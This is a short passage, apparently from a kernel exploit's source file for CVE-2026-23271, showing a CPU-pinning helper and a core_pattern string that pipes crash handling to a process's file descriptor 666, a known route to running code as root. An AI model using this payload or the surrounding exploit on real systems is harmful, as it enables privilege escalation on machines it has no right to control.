Function bind_to_cpu

CVE-2026-23271/exploit/exploit.cpp:1677–1687

}

int bind_to_cpu(int cpu_id) {
    cpu_set_t mask;
    CPU_ZERO(&mask);
    CPU_SET(cpu_id, &mask);
    if (sched_setaffinity(0, sizeof(mask), &mask) < 0) {
        perror("sched_setaffinity");
        return -1;
    }
    sched_yield();
    return 0;
}

const char desired_core_pattern[] = "|/proc/%P/fd/666 %P";